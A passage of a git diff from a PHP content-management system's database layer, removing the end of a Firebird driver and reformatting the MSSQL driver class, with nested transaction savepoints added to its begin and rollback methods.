$page = $limit->page->getValue(); - if (!$page) $page = 1; - // Total pages - if ($total_count) $total_page = (int) (($total_count - 1) / $list_count) + 1; - else $total_page = 1; - - // check the page variables - if ($page > $total_page) { - // If requested page is bigger than total number of pages, return empty list - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = array(); - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; - } - $start_count = ($page-1)*$list_count; - - $query = $this->getSelectSql($queryObject, true, $start_count); - if(strpos($query, "substr")) { - $query = str_replace ("substr", "substring", $query); - $query = $this->replaceSubstrFormat($query); - } - $query .= (__DEBUG_QUERY__&1 && $queryObject->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - $result = $this->_query ($query, null, $connection); - if ($this->isError ()) - return $this->queryError($queryObject); - - $virtual_no = $total_count - ($page - 1) * $list_count; - while ($tmp = ibase_fetch_object($result)) - $data[$virtual_no--] = $tmp; - - if (!$this->transaction_started) - ibase_commit($connection); - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = $data; - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - }else { - $data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; - } - return $buff; - } - - function getParser() { - return new DBParser('"', '"', $this->prefix); - } - - function getSelectSql($query, $with_values = true, $start_count = 0) { - $limit = $query->getLimit(); - if ($limit && $limit->isPageHandler()) { - $list_count = $limit->list_count->getValue(); - if(!$limit->page) $page = 1; - else $page = $limit->page->getValue(); - if(!$start_count) - $start_count = ($page - 1) * $list_count; - $limit = sprintf('SELECT FIRST %d SKIP %d ', $list_count, $start_count); - } - - $select = $query->getSelectString($with_values); - - if ($select == '') - return new Object(-1, "Invalid query"); - - if ($limit && $limit->isPageHandler()) - $select = $limit . ' ' . $select; - else - $select = 'SELECT ' . $select; - $from = $query->getFromString($with_values); - if ($from == '') - return new Object(-1, "Invalid query"); - $from = ' FROM ' . $from; - - $where = $query->getWhereString($with_values); - if ($where != '') - $where = ' WHERE ' . $where; - - $groupBy = $query->getGroupByString(); - if ($groupBy != '') - $groupBy = ' GROUP BY ' . $groupBy; - - $orderBy = $query->getOrderByString(); - if ($orderBy != '') - $orderBy = ' ORDER BY ' . $orderBy; - - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy; - } - - function getDeleteSql($query, $with_values = true){ - $sql = 'DELETE '; - - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - - $sql .= ' FROM '.$from; - - $where = $query->getWhereString($with_values); - if($where != '') $sql .= ' WHERE ' . $where; - - return $sql; - } - - function replaceSubstrFormat($queryString){ - //replacing substr("string",number,number) with substr("string" from number for number) - $pattern = '/substring\("(\w+)",(\d+),(\d+)\)/i'; - $replacement = 'substring("${1}" from $2 for $3)'; - - return preg_replace($pattern, $replacement, $queryString); - } - -} -?> diff --git a/classes/db/DBMssql.class.php b/classes/db/DBMssql.class.php index 6a6b85414..9f9e6d13a 100644 --- a/classes/db/DBMssql.class.php +++ b/classes/db/DBMssql.class.php @@ -1,734 +1,994 @@ 'bigint', + 'number' => 'int', + 'varchar' => 'varchar', + 'char' => 'char', + 'text' => 'text', + 'bigtext' => 'text', + 'date' => 'varchar(14)', + 'float' => 'float', + ); - /** - * prefix of XE tables(One more XE can be installed on a single DB) - * @var string - */ - var $prefix = 'xe'; - var $param = array(); - var $comment_syntax = '/* %s */'; + /** + * Constructor + * @return void + */ + function DBMssql() + { + $this->_setDBInfo(); + $this->_connect(); + } - /** - * column type used in mssql - * - * column_type should be replaced for each DBMS's type - * becasue it uses commonly defined type in the schema/query xml - * @var array - */ - var $column_type = array( - 'bignumber' => 'bigint', - 'number' => 'int', - 'varchar' => 'varchar', - 'char' => 'char', - 'text' => 'text', - 'bigtext' => 'text', - 'date' => 'varchar(14)', - 'float' => 'float', - ); + /** + * Create an instance of this class + * @return DBMssql return DBMssql object instance + */ + function create() + { + return new DBMssql; + } - /** - * Constructor - * @return void - */ - function DBMssql() { - $this->_setDBInfo(); - $this->_connect(); - } - - /** - * Create an instance of this class - * @return DBMssql return DBMssql object instance - */ - function create() + /** + * Return if supportable + * Check 'sqlsrv' extension loaded. + * @return boolean + */ + function isSupported() + { + if(!extension_loaded("sqlsrv")) { - return new DBMssql; + return false; } + return true; + } - /** - * Return if supportable - * Check 'sqlsrv' extension loaded. - * @return boolean - */ - function isSupported() { - if (!extension_loaded("sqlsrv")) return false; - return true; - } + /** + * DB Connect + * this method is private + * @param array $connection connection's value is db_hostname, db_database, db_userid, db_password + * @return resource + */ + function __connect($connection) + { + //sqlsrv_configure( 'WarningsReturnAsErrors', 0 ); + //sqlsrv_configure( 'LogSeverity', SQLSRV_LOG_SEVERITY_ALL ); + //sqlsrv_configure( 'LogSubsystems', SQLSRV_LOG_SYSTEM_ALL ); + $result = @sqlsrv_connect($connection["db_hostname"], array('Database' => $connection["db_database"], 'UID' => $connection["db_userid"], 'PWD' => $connection["db_password"])); - /** - * DB Connect - * this method is private - * @param array $connection connection's value is db_hostname, db_database, db_userid, db_password - * @return resource - */ - function __connect($connection) { - //sqlsrv_configure( 'WarningsReturnAsErrors', 0 ); - //sqlsrv_configure( 'LogSeverity', SQLSRV_LOG_SEVERITY_ALL ); - //sqlsrv_configure( 'LogSubsystems', SQLSRV_LOG_SYSTEM_ALL ); - $result = @sqlsrv_connect($connection["db_hostname"], array('Database' => $connection["db_database"], 'UID' => $connection["db_userid"], 'PWD' => $connection["db_password"])); + if(!$result) + { + $errors = print_r(sqlsrv_errors(), true); + $this->setError(-1, 'database connect fail' . PHP_EOL . $errors); + return; + } + return $result; + } - if(!$result) - { - $errors = print_r(sqlsrv_errors(), true); - $this->setError (-1, 'database connect fail' . PHP_EOL . $errors); - return; - } - return $result; - } + /** + * DB disconnection + * this method is private + * @param resource $connection + * @return void + */ + function _close($connection) + { + $this->commit(); + sqlsrv_close($connection); + } - /** - * DB disconnection - * this method is private - * @param resource $connection - * @return void - */ - function _close($connection) { - $this->commit(); - sqlsrv_close($connection); - } + /** + * Handles quatation of the string variables from the query + * @todo See what to do about this + * @param string $string + * @return string + */ + function addQuotes($string) + { + if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) + { + $string = stripslashes(str_replace("\\", "\\\\", $string)); + } + //if(!is_numeric($string)) $string = str_replace("'","''",$string); - /** - * Handles quatation of the string variables from the query - * @todo See what to do about this - * @param string $string - * @return string - */ - function addQuotes($string) { - if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) $string = stripslashes(str_replace("\\","\\\\",$string)); - //if(!is_numeric($string)) $string = str_replace("'","''",$string); + return $string; + } - return $string; - } + /** + * DB transaction start + * this method is private + * @return boolean + */ + function _begin($transactionLevel) + { + $connection = $this->_getConnection('master'); - /** - * DB transaction start - * this method is private - * @return boolean - */ - function _begin() { - $connection = $this->_getConnection('master'); - if(sqlsrv_begin_transaction($connection) === false) return; - return true; - } + if(!$transactionLevel) + { + if(sqlsrv_begin_transaction($connection) === false) + { + return; + } + } + else + { + $this->_query("SAVE TRANS SP" . $transactionLevel, $connection); + } + return true; + } - /** - * DB transaction rollback - * this method is private - * @return boolean - */ - function _rollback() { - $connection = $this->_getConnection('master'); - sqlsrv_rollback($connection); - return true; - } + /** + * DB transaction rollback + * this method is private + * @return boolean + */ + function _rollback($transactionLevel) + { + $connection = $this->_getConnection('master'); - /** - * DB transaction commit - * this method is private - * @return boolean - */ - function _commit() { - $connection = $this->_getConnection('master'); - sqlsrv_commit($connection); - return true; - } + $point = $transactionLevel - 1; - /** - * Execute the query - * this method is private - * @param string $query - * @param resource $connection - * @return resource|boolean Returns a statement resource on success and FALSE if an error occurred. - */ - function __query($query, $connection) { - $_param = array(); + if($point) + { + $this->_query("ROLLBACK TRANS SP" . $point, $connection); + } + else + { + sqlsrv_rollback($connection); + } + return true; + } - if(count($this->param)){ - foreach($this->param as $k => $o){ - if($o->isColumnName()) continue; - if($o->getType() == 'number'){ - $value = $o->getUnescapedValue(); - if(is_array($value)) $_param = array_merge($_param, $value); - else $_param[] = $o->getUnescapedValue(); - }else{ - $value = $o->getUnescapedValue(); - if(is_array($value)) { - foreach($value as $v) - $_param[] = array($v, SQLSRV_PARAM_IN, SQLSRV_PHPTYPE_STRING('utf-8')); - } - else $_param[] = array($value, SQLSRV_PARAM_IN, SQLSRV_PHPTYPE_STRING('utf-8')); + /** + * DB transaction commit + * this method is private + * @return boolean + */ + function _commit() + { + $connection = $this->_getConnection('master'); + sqlsrv_commit($connection); + return true; + } + + /** + * Execute the query + * this method is private + * @param string $query + * @param resource $connection + * @return resource|boolean Returns a statement resource on success and FALSE if an error occurred. + */ + function __query($query, $connection) + { + $_param = array(); + + if(count($this->param)) + { + foreach($this->param as $k => $o) + { + if($o->isColumnName()) + { + continue; + } + if($o->getType() == 'number') + { + $value = $o->getUnescapedValue(); + if(is_array($value)) + { + $_param = array_merge($_param, $value); + } + else + { + $_param[] = $o->getUnescapedValue(); + } + } + else + { + $value = $o->getUnescapedValue(); + if(is_array($value)) + { + foreach($value as $v) + { + $_param[] = array($v, SQLSRV_PARAM_IN, SQLSRV_PHPTYPE_STRING('utf-8')); } - } - } - - // Run the query statement - $result = false; - if(count($_param)){ - $args = $this->_getParametersByReference($_param); - $stmt = sqlsrv_prepare($connection, $query, $args); - }else{ - $stmt = sqlsrv_prepare($connection, $query); + } + else + { + $_param[] = array($value, SQLSRV_PARAM_IN, SQLSRV_PHPTYPE_STRING('utf-8')); + } + } } - - if(!$stmt) - { - $result = false; - } - else - { - $result = sqlsrv_execute($stmt); - } - - // Error Check - if(!$result) - $this->setError(print_r(sqlsrv_errors(),true)); + } - $this->param = array(); - - return $stmt; - } - - /** - * Parameters to sqlsrv_prepare need to be references, and not literals - * Parameters are sent as an array, where each parameter can be: - * - a PHP variable (by reference) - * - a PHP array (containng param value, type and direction) -> also needs to be sent by reference - * @param array $_param - * @return array - */ - function _getParametersByReference($_param) + // Run the query statement + $result = false; + if(count($_param)) { - $copy = array(); $args = array(); $i = 0; - foreach($_param as $key => $value) { - if(is_array($value)) - { - $value_copy = $value; - $value_arg = array(); - $value_arg[] = &$value_copy[0]; - $value_arg[] = $value_copy[1]; - $value_arg[] = $value_copy[2]; - } - else - { - $value_arg = $value; - } - $copy[$key] = $value_arg; - $args[$i++] = &$copy[$key]; - } - return $args; + $args = $this->_getParametersByReference($_param); + $stmt = sqlsrv_prepare($connection, $query, $args); + } + else + { + $stmt = sqlsrv_prepare($connection, $query); } - /** - * Fetch results - * @param resource $result - * @param int|NULL $arrayIndexEndValue - * @return array - */ - function _fetch($result, $arrayIndexEndValue = NULL) { - $output = array(); - if(!$this->isConnected() || $this->isError() || !$result) return $output; + if(!$stmt) + { + $result = false; + } + else + { + $result = sqlsrv_execute($stmt); + } - $c = sqlsrv_num_fields($result); - $m = null; + // Error Check + if(!$result) + { + $this->setError(print_r(sqlsrv_errors(), true)); + } - while(sqlsrv_fetch($result)){ - if(!$m) $m = sqlsrv_field_metadata($result); - unset($row); - for($i=0;$i<$c;$i++){ - $row->{$m[$i]['Name']} = sqlsrv_get_field( $result, $i, SQLSRV_PHPTYPE_STRING( 'utf-8' )); - } - if($arrayIndexEndValue) $output[$arrayIndexEndValue--] = $row; - else $output[] = $row; + $this->param = array(); + + return $stmt; + } + + /** + * Parameters to sqlsrv_prepare need to be references, and not literals + * Parameters are sent as an array, where each parameter can be: + * - a PHP variable (by reference) + * - a PHP array (containng param value, type and direction) -> also needs to be sent by reference + * @param array $_param + * @return array + */ + function _getParametersByReference($_param) + { + $copy = array(); + $args = array(); + $i = 0; + foreach($_param as $key => $value) + { + if(is_array($value)) + { + $value_copy = $value; + $value_arg = array(); + $value_arg[] = &$value_copy[0]; + $value_arg[] = $value_copy[1]; + $value_arg[] = $value_copy[2]; } - - if(count($output)==1) { - if(isset($arrayIndexEndValue)) return $output; - else return $output[0]; - } - return $output; - - } - - /** - * Return the sequence value incremented by 1 - * Auto_increment column only used in the sequence table - * @return int - */ - function getNextSequence() { - $query = sprintf("insert into %ssequence (seq) values (ident_incr('%ssequence'))", $this->prefix, $this->prefix); - $this->_query($query); - - $query = sprintf("select ident_current('%ssequence')+1 as sequence", $this->prefix); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - - - return $tmp->sequence; - } - - /** - * Check a table exists status - * @param string $target_name - * @return boolean - */ - function isTableExists($target_name) { - $query = sprintf("select name from sysobjects where name = '%s%s' and xtype='U'", $this->prefix, $this->addQuotes($target_name)); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - - if(!$tmp) return false; - return true; - } - - /** - * Add a column to the table - * @param string $table_name table name - * @param string $column_name column name - * @param string $type column type, default value is 'number' - * @param int $size column size - * @param string|int $default default value - * @param boolean $notnull not null status, default value is false - * @return void - */ - function addColumn($table_name, $column_name, $type='number', $size='', $default = '', $notnull=false) { - if($this->isColumnExists($table_name, $column_name)) return; - $type = $this->column_type[$type]; - if(strtoupper($type)=='INTEGER') $size = ''; - - $query = sprintf("alter table %s%s add %s ", $this->prefix, $table_name, $column_name); - if($size) $query .= sprintf(" %s(%s) ", $type, $size); - else $query .= sprintf(" %s ", $type); - if($default) $query .= sprintf(" default '%s' ", $default); - if($notnull) $query .= " not null "; - - return $this->_query($query); - } - - /** - * Drop a column from the table - * @param string $table_name table name - * @param string $column_name column name - * @return void - */ - function dropColumn($table_name, $column_name) { - if(!$this->isColumnExists($table_name, $column_name)) return; - $query = sprintf("alter table %s%s drop %s ", $this->prefix, $table_name, $column_name); - $this->_query($query); - } - - /** - * Check column exist status of the table - * @param string $table_name table name - * @param string $column_name column name - * @return boolean - */ - function isColumnExists($table_name, $column_name) { - $query = sprintf("select syscolumns.name as name from syscolumns, sysobjects where sysobjects.name = '%s%s' and sysobjects.id = syscolumns.id and syscolumns.name = '%s'", $this->prefix, $table_name, $column_name); - $result = $this->_query($query); - if($this->isError()) return; - $tmp = $this->_fetch($result); - if(!$tmp->name) return false; - return true; - } - - /** - * Add an index to the table - * $target_columns = array(col1, col2) - * $is_unique? unique : none - * @param string $table_name table name - * @param string $index_name index name - * @param string|array $target_columns target column or columns - * @param boolean $is_unique - * @return void - */ - function addIndex($table_name, $index_name, $target_columns, $is_unique = false) { - if($this->isIndexExists($table_name, $index_name)) return; - if(!is_array($target_columns)) $target_columns = array($target_columns); - - $query = sprintf("create %s index %s on %s%s (%s)", $is_unique?'unique':'', $index_name, $this->prefix, $table_name, implode(',',$target_columns)); - $this->_query($query); - } - - /** - * Drop an index from the table - * @param string $table_name table name - * @param string $index_name index name - * @param boolean $is_unique - * @return void - */ - function dropIndex($table_name, $index_name, $is_unique = false) { - if(!$this->isIndexExists($table_name, $index_name)) return; - $query = sprintf("drop index %s%s.%s", $this->prefix, $table_name, $index_name); - $this->_query($query); - } - - /** - * Check index status of the table - * @param string $table_name table name - * @param string $index_name index name - * @return boolean - */ - function isIndexExists($table_name, $index_name) { - $query = sprintf("select sysindexes.name as name from sysindexes, sysobjects where sysobjects.name = '%s%s' and sysobjects.id = sysindexes.id and sysindexes.name = '%s'", $this->prefix, $table_name, $index_name); - - $result = $this->_query($query); - if($this->isError()) return; - $tmp = $this->_fetch($result); - - if(!$tmp->name) return false; - return true; - } - - /** - * Creates a table by using xml contents - * @param string $xml_doc xml schema contents - * @return void|object - */ - function createTableByXml($xml_doc) { - return $this->_createTable($xml_doc); - } - - /** - * Creates a table by using xml file path - * @param string $file_name xml schema file path - * @return void|object - */ - function createTableByXmlFile($file_name) { - if(!file_exists($file_name)) return; - // read xml file - $buff = FileHandler::readFile($file_name); - return $this->_createTable($buff); - } - - /** - * Create table by using the schema xml - * - * type : number, varchar, tinytext, text, bigtext, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - * @param string $xml_doc xml schema contents - * @return void|object - */ - function _createTable($xml_doc) { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - if($this->isTableExists($table_name)) return; - - if($table_name == 'sequence') { - $table_name = $this->prefix.$table_name; - $query = sprintf('create table %s ( sequence int identity(1,1), seq int )', $table_name); - return $this->_query($query); - } else { - $table_name = $this->prefix.$table_name; - - if(!is_array($xml_obj->table->column)) $columns[] = $xml_obj->table->column; - else $columns = $xml_obj->table->column; - - $primary_list = array(); - $unique_list = array(); - $index_list = array(); - - $typeList = array('number'=>1, 'text'=>1); - foreach($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; - - $column_schema[] = sprintf('[%s] %s%s %s %s %s', - $name, - $this->column_type[$type], - !isset($typeList[$type])&&$size?'('.$size.')':'', - isset($default)?"default '".$default."'":'', - $notnull?'not null':'null', - $auto_increment?'identity(1,1)':'' - ); - - if($primary_key) $primary_list[] = $name; - else if($unique) $unique_list[$unique][] = $name; - else if($index) $index_list[$index][] = $name; - } - - if(count($primary_list)) - { - $column_schema[] = sprintf("primary key (%s)", '"'.implode($primary_list,'","').'"'); - } - - $schema = sprintf('create table [%s] (%s%s)', $this->addQuotes($table_name), "\n", implode($column_schema,",\n")); - $output = $this->_query($schema); - if(!$output) return false; - - if(count($unique_list)) { - foreach($unique_list as $key => $val) { - $query = sprintf("create unique index %s on %s (%s);", $key, $table_name, '['.implode('],[',$val).']'); - $this->_query($query); - } - } - - if(count($index_list)) { - foreach($index_list as $key => $val) { - $query = sprintf("create index %s on %s (%s);", $key, $table_name, '['.implode('],[',$val).']'); - $this->_query($query); - } - } - return true; - } - } - - - - /** - * Handles insertAct - * @todo Lookup _filterNumber against sql injection - see if it is still needed and how to integrate - * @param Object $queryObject - * @return resource - */ - function _executeInsertAct($queryObject) { - $query = $this->getInsertSql($queryObject, false); - $this->param = $queryObject->getArguments(); - return $this->_query($query); - } - - /** - * Handles updateAct - * @param Object $queryObject - * @return resource - */ - function _executeUpdateAct($queryObject) { - $query = $this->getUpdateSql($queryObject, false); - $this->param = $queryObject->getArguments(); - return $this->_query($query); - } - - /** - * Return update query string - * @param object $query - * @param boolean $with_values - * @param boolean $with_priority - * @return string - */ - function getUpdateSql($query, $with_values = true, $with_priority = false){ - $columnsList = $query->getUpdateString($with_values); - if($columnsList == '') return new Object(-1, "Invalid query"); - - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - - $tables = $query->getTables(); - $alias_list = ''; - foreach($tables as $table) - $alias_list .= $table->getAlias(); - implode(',', explode(' ', $alias_list)); - - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; - - $priority = $with_priority?$query->getPriority():''; - - return "UPDATE $priority $alias_list SET $columnsList FROM ".$from.$where; - } - - /** - * Handles deleteAct - * @param Object $queryObject - * @return resource - */ - function _executeDeleteAct($queryObject) { - $query = $this->getDeleteSql($queryObject, false); - $this->param = $queryObject->getArguments(); - return $this->_query($query); - } - - /** - * Return select query string - * @param object $query - * @param boolean $with_values - * @return string - */ - function getSelectSql($query, $with_values = TRUE){ - $with_values = false; - - //$limitOffset = $query->getLimit()->getOffset(); - //if($limitOffset) - // TODO Implement Limit with offset with subquery - $limit = '';$limitCount = ''; - $limitQueryPart = $query->getLimit(); - if($limitQueryPart) - $limitCount = $limitQueryPart->getLimit(); - if($limitCount != '') $limit = 'SELECT TOP ' . $limitCount; - - $select = $query->getSelectString($with_values); - if($select == '') return new Object(-1, "Invalid query"); - if($limit != '') - $select = $limit.' '.$select; else - $select = 'SELECT ' .$select; + { + $value_arg = $value; + } + $copy[$key] = $value_arg; + $args[$i++] = &$copy[$key]; + } + return $args; + } - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - $from = ' FROM '.$from; - - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; - - $groupBy = $query->getGroupByString(); - if($groupBy != '') $groupBy = ' GROUP BY ' . $groupBy; - - $orderBy = $query->getOrderByString(); - if($orderBy != '') $orderBy = ' ORDER BY ' . $orderBy; - - - - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy; - } - - /** - * Handle selectAct - * In order to get a list of pages easily when selecting \n - * it supports a method as navigation - * @param Object $queryObject - * @param resource $connection - * @return Object - */ - function _executeSelectAct($queryObject, $connection = null) { - $query = $this->getSelectSql($queryObject); - - if(strpos($query, "substr")) $query = str_replace ("substr", "substring", $query); - - // TODO Decide if we continue to pass parameters like this - $this->param = $queryObject->getArguments(); - - $query .= (__DEBUG_QUERY__&1 && $output->query_id)?sprintf(' '.$this->comment_syntax,$this->query_id):''; - $result = $this->_query($query, $connection); - - if ($this->isError ()) return $this->queryError($queryObject); - else return $this->queryPageLimit($queryObject, $result, $connection); - } - - /** - * Return the DBParser - * @param boolean $force - * @return DBParser - */ - function getParser($force = FALSE){ - return new DBParser("[", "]", $this->prefix); - } - - /** - * If have a error, return error object - * @param Object $queryObject - * @return Object - */ - function queryError($queryObject){ - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()){ - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array (); - $buff->page_navigation = new PageHandler (/*$total_count*/0, /*$total_page*/1, /*$page*/1, /*$page_count*/10);//default page handler values - return $buff; - }else - return; + /** + * Fetch results + * @param resource $result + * @param int|NULL $arrayIndexEndValue + * @return array + */ + function _fetch($result, $arrayIndexEndValue = NULL) + { + $output = array(); + if(!$this->isConnected() || $this->isError() || !$result) + { + return $output; } - /** - * If select query execute, return page info - * @param Object $queryObject - * @param resource $result - * @param resource $connection - * @return Object Object with page info containing - */ - function queryPageLimit($queryObject, $result, $connection) { - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()) { - // Total count - $temp_where = $queryObject->getWhereString(true, false); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString(), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); + $c = sqlsrv_num_fields($result); + $m = null; - // Check for distinct query and if found update count query structure - $temp_select = $queryObject->getSelectString(true); - $uses_distinct = strpos(strtolower($temp_select), "distinct") !== false; - $uses_groupby = $queryObject->getGroupByString() != ''; - if($uses_distinct || $uses_groupby) { - $count_query = sprintf('select %s %s %s %s' - , $temp_select - , 'FROM ' . $queryObject->getFromString(true) - , ($temp_where === '' ? '' : ' WHERE '. $temp_where) - , ($uses_groupby ? ' GROUP BY ' . $queryObject->getGroupByString() : '') - ); + while(sqlsrv_fetch($result)) + { + if(!$m) + { + $m = sqlsrv_field_metadata($result); + } + unset($row); + for($i = 0; $i < $c; $i++) + { + $row->{$m[$i]['Name']} = sqlsrv_get_field($result, $i, SQLSRV_PHPTYPE_STRING('utf-8')); + } + if($arrayIndexEndValue) + { + $output[$arrayIndexEndValue--] = $row; + } + else + { + $output[] = $row; + } + } - // If query uses grouping or distinct, count from original select - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } + if(count($output) == 1) + { + if(isset($arrayIndexEndValue)) + { + return $output; + } + else + { + return $output[0]; + } + } + return $output; + } - $count_query .= (__DEBUG_QUERY__ & 1 && $queryObject->queryID) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - $this->param = $queryObject->getArguments(); - $result_count = $this->_query($count_query, $connection); - $count_output = $this->_fetch($result_count); - $total_count = (int) $count_output->count; + /** + * Return the sequence value incremented by 1 + * Auto_increment column only used in the sequence table + * @return int + */ + function getNextSequence() + { + $query = sprintf("insert into %ssequence (seq) values (ident_incr('%ssequence'))", $this->prefix, $this->prefix); + $this->_query($query); - $list_count = $limit->list_count->getValue(); - if (!$list_count) - $list_count = 20; - $page_count = $limit->page_count->getValue(); - if (!$page_count) - $page_count = 10; - $page = $limit->page->getValue(); - if (!$page) - $page = 1; - // Total pages - if ($total_count) { - $total_page = (int) (($total_count - 1) / $list_count) + 1; - } else - $total_page = 1; + $query = sprintf("select ident_current('%ssequence')+1 as sequence", $this->prefix); + $result = $this->_query($query); + $tmp = $this->_fetch($result); - // check the page variables - if ($page > $total_page) { - // If requested page is bigger than total number of pages, return empty list - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = array(); - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; + return $tmp->sequence; + } + + /** + * Check a table exists status + * @param string $target_name + * @return boolean + */ + function isTableExists($target_name) + { + $query = sprintf("select name from sysobjects where name = '%s%s' and xtype='U'", $this->prefix, $this->addQuotes($target_name)); + $result = $this->_query($query); + $tmp = $this->_fetch($result); + + if(!$tmp) + { + return false; + } + return true; + } + + /** + * Add a column to the table + * @param string $table_name table name + * @param string $column_name column name + * @param string $type column type, default value is 'number' + * @param int $size column size + * @param string|int $default default value + * @param boolean $notnull not null status, default value is false + * @return void + */ + function addColumn($table_name, $column_name, $type = 'number', $size = '', $default = '', $notnull = false) + { + if($this->isColumnExists($table_name, $column_name)) + { + return; + } + $type = $this->column_type[$type]; + if(strtoupper($type) == 'INTEGER') + { + $size = ''; + } + + $query = sprintf("alter table %s%s add %s ", $this->prefix, $table_name, $column_name); + if($size) + { + $query .= sprintf(" %s(%s) ", $type, $size); + } + else + { + $query .= sprintf(" %s ", $type); + } + + if($default) + { + $query .= sprintf(" default '%s' ", $default); + } + if($notnull) + { + $query .= " not null "; + } + + return $this->_query($query); + } + + /** + * Drop a column from the table + * @param string $table_name table name + * @param string $column_name column name + * @return void + */ + function dropColumn($table_name, $column_name) + { + if(!$this->isColumnExists($table_name, $column_name)) + { + return; + } + $query = sprintf("alter table %s%s drop %s ", $this->prefix, $table_name, $column_name); + $this->_query($query); + } + + /** + * Check column exist status of the table + * @param string $table_name table name + * @param string $column_name column name + * @return boolean + */ + function isColumnExists($table_name, $column_name) + { + $query = sprintf("select syscolumns.name as name from syscolumns, sysobjects where sysobjects.name = '%s%s' and sysobjects.id = syscolumns.id and syscolumns.name = '%s'", $this->prefix, $table_name, $column_name); + $result = $this->_query($query); + if($this->isError()) + { + return; + } + $tmp = $this->_fetch($result); + if(!$tmp->name) + { + return false; + } + return true; + } + + /** + * Add an index to the table + * $target_columns = array(col1, col2) + * $is_unique? unique : none + * @param string $table_name table name + * @param string $index_name index name + * @param string|array $target_columns target column or columns + * @param boolean $is_unique + * @return void + */ + function addIndex($table_name, $index_name, $target_columns, $is_unique = false) + { + if($this->isIndexExists($table_name, $index_name)) + { + return; + } + if(!is_array($target_columns)) + { + $target_columns = array($target_columns); + } + + $query = sprintf("create %s index %s on %s%s (%s)", $is_unique ? 'unique' : '', $index_name, $this->prefix, $table_name, implode(',', $target_columns)); + $this->_query($query); + } + + /** + * Drop an index from the table + * @param string $table_name table name + * @param string $index_name index name + * @param boolean $is_unique + * @return void + */ + function dropIndex($table_name, $index_name, $is_unique = false) + { + if(!$this->isIndexExists($table_name, $index_name)) + { + return; + } + $query = sprintf("drop index %s%s.%s", $this->prefix, $table_name, $index_name); + $this->_query($query); + } + + /** + * Check index status of the table + * @param string $table_name table name + * @param string $index_name index name + * @return boolean + */ + function isIndexExists($table_name, $index_name) + { + $query = sprintf("select sysindexes.name as name from sysindexes, sysobjects where sysobjects.name = '%s%s' and sysobjects.id = sysindexes.id and sysindexes.name = '%s'", $this->prefix, $table_name, $index_name); + + $result = $this->_query($query); + if($this->isError()) + { + return; + } + $tmp = $this->_fetch($result); + + if(!$tmp->name) + { + return false; + } + return true; + } + + /** + * Creates a table by using xml contents + * @param string $xml_doc xml schema contents + * @return void|object + */ + function createTableByXml($xml_doc) + { + return $this->_createTable($xml_doc); + } + + /** + * Creates a table by using xml file path + * @param string $file_name xml schema file path + * @return void|object + */ + function createTableByXmlFile($file_name) + { + if(!file_exists($file_name)) + { + return; + } + // read xml file + $buff = FileHandler::readFile($file_name); + return $this->_createTable($buff); + } + + /** + * Create table by using the schema xml + * + * type : number, varchar, tinytext, text, bigtext, char, date, \n + * opt : notnull, default, size\n + * index : primary key, index, unique\n + * @param string $xml_doc xml schema contents + * @return void|object + */ + function _createTable($xml_doc) + { + // xml parsing + $oXml = new XmlParser(); + $xml_obj = $oXml->parse($xml_doc); + // Create a table schema + $table_name = $xml_obj->table->attrs->name; + if($this->isTableExists($table_name)) + { + return; + } + + if($table_name == 'sequence') + { + $table_name = $this->prefix . $table_name; + $query = sprintf('create table %s ( sequence int identity(1,1), seq int )', $table_name); + return $this->_query($query); + } + else + { + $table_name = $this->prefix . $table_name; + + if(!is_array($xml_obj->table->column)) + { + $columns[] = $xml_obj->table->column; + } + else + { + $columns = $xml_obj->table->column; + } + + $primary_list = array(); + $unique_list = array(); + $index_list = array(); + + $typeList = array('number' => 1, 'text' => 1); + foreach($columns as $column) + { + $name = $column->attrs->name; + $type = $column->attrs->type; + $size = $column->attrs->size; + $notnull = $column->attrs->notnull; + $primary_key = $column->attrs->primary_key; + $index = $column->attrs->index; + $unique = $column->attrs->unique; + $default = $column->attrs->default; + $auto_increment = $column->attrs->auto_increment; + + $column_schema[] = sprintf('[%s] %s%s %s %s %s', $name, $this->column_type[$type], !isset($typeList[$type]) && $size ? '(' . $size . ')' : '', isset($default) ? "default '" . $default . "'" : '', $notnull ? 'not null' : 'null', $auto_increment ? 'identity(1,1)' : ''); + + if($primary_key) + { + $primary_list[] = $name; + } + else if($unique) + { + $unique_list[$unique][] = $name; + } + else if($index) + { + $index_list[$index][] = $name; + } + } + + 